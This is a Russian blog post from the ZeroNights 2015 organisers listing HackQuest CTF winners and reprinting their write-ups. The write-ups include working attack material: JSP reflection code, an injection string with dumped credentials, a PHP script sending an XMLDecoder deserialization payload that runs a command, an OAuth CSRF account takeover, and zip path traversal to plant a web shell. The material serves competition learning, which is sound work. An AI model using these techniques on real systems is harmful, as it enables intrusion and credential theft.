image

Привет!


До конференции ZeroNights, о которой мы уже не раз писали на Хабре, остаются считанные дни!

Одним из последних наших постов был рассказ про HackQuest. Он успешно прошел и пришло время о заданиях и о том, как их решали. И конечно же — поздравить победителей!

  • 1 день, задание “Chocolate Factory” (web) — cdump и BlackFan
  • 2 день, задание “HSM V1.0” (web, crypto, hash cracking) — Abr1k0s
  • 3 день, задание “BAZAAR NG” (web) — AV1ct0r
  • 4 день, задание “ILLOGICAL PHOTOGALLERY” (web, oauth) — Beched
  • 5 день, задание “CRACKME” (reverse) — sysenter
  • 6 день, задание “BANK ROBBERY”, (phreaking, web) — dr.glukyne
  • 7 день, задание “BLINK2PWN”, (reverse, binary pwn) — mr_dawerty


День 1 — Chocolate Factory


Задание изначально предоставляло довольно специфичные условия — выполнение JSP кода (планировалось, что с ограничениями), поэтому не обошлось без сложностей. При старте таска томкат не обнулил кэш (после обновления одного из классов из приложения) и задание решение было через RCE :-) Мы оставили это как ожидаемое решение, так как и оно заняло достаточное время и создало соревнование между участниками

Решение от cdump
Скрытый текст
При создании заказа можно перехватить отправку формы в Burp и изменить поле orderName на anything.jsp, а в поле order вписать текст любого jsp-шелла.
После загрузки открываем шелл (ссылка «You can check your order here») и скачиваем tomcat'овскую директорию webapps, в ней находим jsp файлы и скомпилированные классы, декомпилировав с помощью утилиты jad один из которых (WEB-INF/classes/ZN_Chocolate/CRYPTO/SecretGrandParentForBigBossesNeeds.class) видим нужный нам ключ: private String TrueSecretChocolateKey() { return «ZNV:iMp0518UrU_53cR3T_k3y_50d11dcb46506e93917f82c0e828b1a9»; }



После таск был перезапущен и вот уже ожидаемое решение (врайтап от второго места — Beched)
Скрытый текст
Input

Site with file upload functionality.
At first it was easily solved by uploading JSP-shell in XML format, bypassing white-list. After that all participants were given the source code.
Task again could solved in a «cheating» way, by reading the source code, but I solved it in an intended way.

Output

Open the classes in JD-GUI: screenshot.

We can see the source code of JSP checker, which parses page imports. There're a lot of ways to bypass this silly checker, but we'll try to get flag without reading the file system. Initially the flag was in SecretGrandParentForBigBossesNeeds.class:
public class SecretGrandParentForBigBossesNeeds
{
  private String TrueSecretChocolateKey()
  {
    return "ZNV:3X@mPl3_k3y_a0a81ab87f74d307b8e51fd85048e714";
  }

On the screenshot on the left you can see a long chain of inherited classes, this clearly tells us, that we should somehow use reflection. If we try to import SecretGrandParentForBigBossesNeeds, we fail, let's try to import Secret.
<%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %>
<%
Secret s = new Secret();
out.println(s.TrueSecretChocolateKey());
%>


Hm, error 500… In the stack trace we can read, that «method TrueSecretChocolateKey of class SadBigBoss is not visible».
Aha! They changed name of the class after fixing the source code. But anyway, method is not visible, it's private. Let's use reflection to make it accessible:

<%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %>
<%
SadBigBoss s = new SadBigBoss();
Method method = s.getClass().getDeclaredMethod("TrueSecretChocolateKey");
method.setAccessible(true);
out.println(method.invoke(s));
%>


That's it, flag is on the page =)



День 2 — HSM V1.0


Задание было нетипичным для нашего хак-квеста — нужно было брутить хэши, совершенно разные, искать реализации непопулярных алгоритмов и оптимизировать их.

Врайтап от Abr1k0s
Скрытый текст
1. Скачал дамп
2. Используя логин в качестве пароля нашел пользователя, через которого можно было легко авторизоваться в системе.
3. Зашел в личные сообщения, понял, что могу читать чужие сообщения. Прочитав — увидел, что администраторам было разослано сообщение о необходимости срочной смены пароля и инструкция как сгенерироват новый пароль на основании старого.
Hello! User dump was compromised. All administrators should change their passwords!!! Right now!
Because of security issues you must use supergenpass. It is rather simple. Just enter your password and domain and youll get fine password
4. Нашел поддомен dev. Подобрал пароль для basic авторизации.
5. Скачал часть исходников и запароленный архив, сбрутфорсил пароль от архива, где оказалась подробная схема хэширования паролей.
6. Написал скрипт, реализующий функцию хэширования, описанную в инструкции из архива. Все используемые алгоритмы можно было найти по ссылкам, указанным в pdf с инструкцией.
7. Пошел на azure и используя тестовый аккаунт взял в аренду 16 ядерный сервер, где запустил брутфорс хэшей. Это дало преимущество над теми, кто занимался брутфорсом с домашних компов и ноутбуков.
8. По первым буквам подобранных паролей (и на основании сообщения, полученного в 3 пункте) понял, что для брутфорса админских аккаунтов необходимо дополнить алгоритм брутфорса функцией, добавив supergenpass
9. В итоге из первых букв полученных паролей получилась фраза: theflagis287a2ef40fe140fd1acf8ec695ba1e53replacesgppasswithmasterpassandyougettrueflag.
Флаг: 287a2ef40fe140fd1acf8ec695ba1e53

День 3 — BAZAAR NG


Это был таск-спринт, представляющий из себя «интернет рынок» (отсюда и название). В нём использовались различные Java-штуки: jsp и сервлеты, Hibernate, API на Restlet.
Задание состояло из трёх основных уязвимостей, которые нужно было эксплуатировать последовательно: execution after redirect, HQL injection (аналог SQL инъекции, только для Hibernate) и RCE через XML сериализацию в Restlet.
Но так же было оставлено множество мелких уязвимостей (возможность брута учёток, XSS'ки, и т.д.), которые позволяли «атаковать» других участников (или даже админа) и обходить какие-то части задания.

Очень кратко и по делу от AV1ct0r:

Скрытый текст
1. Нашел admin.jsp, search.jsp, index.jsp, admin_login.jsp, adminochka.jsp, adminochka.jsp.bak
2. Сбрутил test / test (видно кто-то добавил)

3. Инъекция
potato' AND '1\''=1 union select 1,(select user()),3 — '='1%


host: zn-java
version: 5.5.46-0ubuntu0.14.04.2
user: webappuser@localhost

wepapp.developers
---------------------------------------
| id | username        | password     |
---------------------------------------
| 0  | developer_Vasia | fpBA7BPlS8wJ |
| 1  | developer_Jorik | 5FftW6Aua2ef | 
---------------------------------------

wepapp.goods
-------------------------
| id | name     | price |
-------------------------
| 0  | potato   | 40    |
| 1  | apple    | 100   |
| 2  | carrot   | 25    |
| 3  | tomato   | 120   |
| 4  | pear     | 70    |
| 5  | tomato   | 110   |
| 12 | pear     | 80    |
| 13 | cucumber | 80    |
-------------------------

wepapp.users
----------------------------
| id | username | password |
----------------------------



4. Скомпилировал клиент и записал его трафик
5. RCE через десериализацию xml (solve.php)

solve.php
Скрытый текст
<?php

$x =<<<HTML
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_05" class="java.beans.XMLDecoder">

	<object id="_response" class="java.lang.String">
		<string>Mode 1 to get a value</string>
	</object>

	<object id="runtime" class="java.lang.Runtime" method="getRuntime">	
		<void id="process" method="exec">
			<string>cat webapps/flag.txt</string>
		</void>
		
	</object>	
	
	<object idref="process">
		<void id="inputStream" method="getInputStream"/>
	</object>
	
	<object id="inputStreamReader" class="java.io.InputStreamReader">
		<object idref="inputStream"/>
	</object>

	<object id="bufferedReader" class="java.io.BufferedReader">
		<object idref="inputStreamReader"/>
	</object>
	
	<object idref="bufferedReader">
		<void id="line1" method="readLine"/>
	</object>
	<object idref="bufferedReader">
		<void id="line2" method="readLine"/>
	</object>

	<string  id="response">
		<object idref="line1"/>		
		<object idref="line2"/>	
	</string>

	<object class="org.restlet.Response" method="getCurrent">	
		<void method ="setEntity">
			<object idref = "response"/>
			<object class = "org.restlet.data.MediaType" field="TEXT_HTML"></object>
		</void>
	</object>	

</java>
HTML;
    do { $socket = fsockopen("107.170.122.167", 80); } while (!$socket);

$packet = "POST /ZN_HQ/API/prods HTTP/1.0\r\n";
$packet.= "Content-Type: application/x-java-serialized-object+xml\r\n";
$packet.= "Host: 107.170.122.167\n";
$packet.= "Connection: Close\r\n";
$packet.= "Content-Length: ".strlen($x)."\r\n";
$packet.= "Authorization: Basic ZGV2ZWxvcGVyX1Zhc2lhOmZwQkE3QlBsUzh3Sg==\r\n";
$packet.= "\r\n";
$packet.= $x;

fwrite($socket, $packet);
while(!@feof($socket)) echo fread($socket, 4096);
fclose($socket);


?>





День 4 — ILLOGICAL PHOTOGALLERY


Баги при реализации OAuth (vk), CSRF, zip path traversal и другие вещи нужно было найти и суметь проэксплуатировать участникам (справились немногие).

Врайтап от Beched
Скрытый текст
Input

Site (0x3d.ru) with OAuth (vk.com) functionality.
During recon one can find content.0x3d.ru and dev.0x3d.ru (127.0.0.1) subdomains.

Output

There were a lot of unintended bugs, including XSS, SQL injection, RCE, etc… Some of them are described here.

1. Authentication bypass (unintended)
Log in under your vk account through Burp Suite, take a link with auth token (?code=...) and navigate to it in the private tab. You're now logged in as a privileged user, which can upload files.

2. Authentication bypass
Login under your vk account through Burp Suite, take a link with auth token (?code=...), now make a page on your website, which loads 2 images (<img src=...): the first triggers logout CSRF (like /logout), the second is you auth token link. Now send this link to the privileged user, he (the bot) will navigate it, and his account will be connected to your vk profile. Now you can login as a privileged user.

3. Race condition (unintended)
Privileged user can upload avatar. "*.php" is disallowed, but ".jpg.php" is ok =) Where's the shell? Hm, avatars are uploaded to content.0x3d.ru/avatars, but they are converted into $hash.jpg. Let's suppose file is first uploaded in the same dir and converted afterwards.
Take BurpSuite, launch 100 threads (GET /avatars/beched.jpg.php, Host: content.0x3d.ru) and upload beched.jpg.php. Wow, 200! Shit, plain-text… They disabled PHP execution in this dir, but anyway, this is dangerous bug.

4. SQL injection (unintended)
There was SQL injection in private messaging interface, you could exploit it using multi-INSERT and guessing fields. There was no file_priv and no flag, but there was a link to PoC auth bypass exploit by the author of task. I found a working copy of the task on that server =)

5. Code execution (unintended)
So, we've got author's testing server. Let's log in and check SQL injection there. Wow, there's file_priv=Y! Read the source code, read configs, no flag =(
But there's something else in ZIP upload functionality:

elseif(preg_match('/[.](ZIP)|(zip)|(RAR)|(rar)$/',$_FILES['fupload']['name']))
{
    $avatar = 'avatars/net-avatara.jpg';
        $filename = $_FILES['fupload']['name'];
        $source = $_FILES['fupload']['tmp_name'];    
        $target = $path_to_90_directory . $filename;
        move_uploaded_file($source, $target);//загрузка оригинала в папку $path_to_90_directory
        $command = 'python /var/www/0x3d.ru/zn1/avatars/unzip.py /var/www/0x3d.ru/zn1/avatars/'.$filename;
        $temp = exec($command, $output);
    
}  


So, we can execute code in the filename. But no flag on this test server %)

6. Code execution
Now let's do what they want. Let's upload shell into the docroot of content.0x3d.ru. We'll do it with github.com/ptoomey3/evilarc
Create a ZIP archive with path traversal, it we'll be extracted to any directory you want (if it's writable). Now we've got PHP-shell on content.0x3d.ru

7. open_basedir bypass (unintended)
Command execution functions are disabled, but we can browse any directory with DirectoryIterator: ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
BTW, putenv() and mail() are not disabled, but somehow command execution via library preload and triggering sendmail doesn't work %)

8. Flag
Remember dev.0x3d.ru? Let's try it from the web-shell:
readfile('http://dev.0x3d.ru');



Больше врайтапов от Beched'a

День 5 — CRACKME


Классика. Надо было найти ключ на 3 разных этапах. Первые два алгоритма были довольно известные, а вот третий — нет.

Врайтап от sysenter — hackquest.zeronights.org/downloads/2015-day5-writeup_sysenter.pdf

День 6 — dr.glukyne


Задачей было поломать SIP через… SQL инъекцию.
Врайтап от dr.glukyne
Скрытый текст
1) Проходим по ссылке и видим заглавную страницу Интернет-банка с формой для входа и ссылкой на регистрацию.

Приветственное сообщение как бы намекает, что надо ломать какой-то SIP сервис банка. Да и в самом задании упоминается phreaking — en.wikipedia.org/wiki/Phreaking
2) Регистрируемся в интерфейса Интернет-банка и получаем номер карты и PIN-код.
3) Поищем SIP, который предстоит ломать:

$: nmap -p 5060 -T4 -A -v bank.defcon.su
.....
PORT     STATE SERVICE   VERSION
5060/tcp open  sip-proxy Asterisk PBX 11.17.1
|_sip-methods: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE
.......

Действительно, у нашего Интернет-банка есть SIP сервис, который как и большинство SIPов доступен на порте 5060.
4) Попробуем подключиться к этому сервису.
После небольшого брута и подсказки получаем аккаунт test@bank.defcon.su c паролем test

Однако, нужно понять на какой extension звонить. У Asterisk есть extension s, который используется если неизвестен номер www.voip-info.org/wiki/view/Asterisk+s+extension
Позвоним на него: s@bank.defcon.su и услышим приветствие от банка, в котором становится понятно, что нужно выбрать тип карты (Mastercard или Visa), набрать её номер и пин-код. Если ввести данные карты, которые даются при регистрации, то звонок прекращается. Если ввести неверный пин-код, то просят повторить его ввод. Если ввести неправильный номер карты, то его просят ввести заново. Таким образом можно попробовать брутить сначала номер карты, а потом пин-код.
5) В платежных системах Visa и Mastercard используются разные системы нумерации: en.wikipedia.org/wiki/Bank_card_number
В Visa возможны номера длиной 13 или 16 цифр, а в Mastercard только 16 цифр. Появление подсказки лишний раз подчеркивает эту аномалию с Visa.
6) Поиск в Инете адекватных SIP-клиентов для Python не увенчался успехом, поэтому пришлось
брутить номера карт Visa в ручную, что заняло некоторое время. В процессе выяснилось, что проверяются только последние четыре цифры номера, что гораздо упростило перебор. Так же в процессе перебора было замечено следующее: на сайте банка указано, что авторство таска принадлежит группам Defcon DC7499 и 2600. Однако искомый номер оказался отличным от 7499 и 2600.
7) Оказалось, что правильный номер — 1215. В ответ на его ввод получаем полный номер карты: 4556796461215
В получении номер очень помогла возможность записи звонка в Jitsi.
8) Остаётся подобрать пин-код. Опять вспоминаем про 7499 и 2600. И действительно 2600 подходит.
9) Вводим номер карты и пин-код в веб-морду и получаем код для генерации флага.


День 7 — mr_dawerty


Задание было эпичным, задачей было развересить прошивку под AVR, найти там уязвимость (переполнение), удаленно проэксплуатировать (был мост с внешнего TCP порта в uart). Сначала надо было стащить секретный флаг (который постоянно менялся), потом два раза моргнуть светодиодом (реакцию на свой пэйлоад участники также наблюдали в прямом эфире), после система (на openCV) автоматически открывала флагоприемник и только после этого флаг принимался и засчитывалась победа. Задание несколько раз продлевалось и вместо одних суток проходило четыре.
Вот так это выглядело у нас в офисе:

image

А так это выглядело для участников (трансляция была организована через ffmpeg + nginx-rtmp, удалось добиться задержки в 2-3 секунды)
image

Врайтапа пока не будет, но будет разбор в рамках воркшопа по AVR на самом ZeroNights (постараемся об этом рассказать подробнее, отдельной статьей).

Еще раз хочу сказать спасибо всем авторам заданий, а именно: @aplastunov, @w34kp455, @antyurin, @igc_iv, @nkelesis, @Lukesparamore, __ek0, @090h, @nezlooy, @cherboff, dark_k3y и Litvinov Egor.

На этом про HackQuest — все и прошло время рассказать про…

HardWare Village


Программа HardWare Village на оба дня:

День 1:
  • Введение в Hardware security, типовые уязвимости и атаки.
  • С чего начать? Основные протоколы и интерфейсы. Кратчайший путь в hardware — arduino, быстрый старт.
  • Введение в UART, SPI, i2C: что это такое и их его готовить 4fun&profit.
  • Основы работы с снифферами и логическими анализаторами.
  • Протокол JTAG: Для разработчика и хакера.


День 2:
  • Введение в беспроводные технологии, типовые уязвимости и атаки.
  • RFID proximity cards — низкочастотные карты,
  • RFID proximity cards — высокочастотные карты. Технология, атаки, железо.
  • Введение в Software Defined Radio.
  • Беспроводные каналы связи в гражданских диапазонах. Введение в протоколы, квест на взлом.
  • Небезопасность Wi-fi, bluetooth, zigbee.
  • Опитические каналы передачи данных (IR)

Со всеми описываемыми технологиями и методам атак можно будет ознакомиться на практических примерах.

Напомним, что регистрация заканчивается завтра в 14:00 — 2015.zeronights.ru/registraciya.html, программа готова, идет финальная подготовка. Увидимся на ZeroNights 2015!

Комментарии (1)


  1. mark_ablov
    24.11.2015 08:06
    +2

    После 4ого таска я забил на это, все было про web/java :(
    В 7ом было бы интересно только поучаствовать.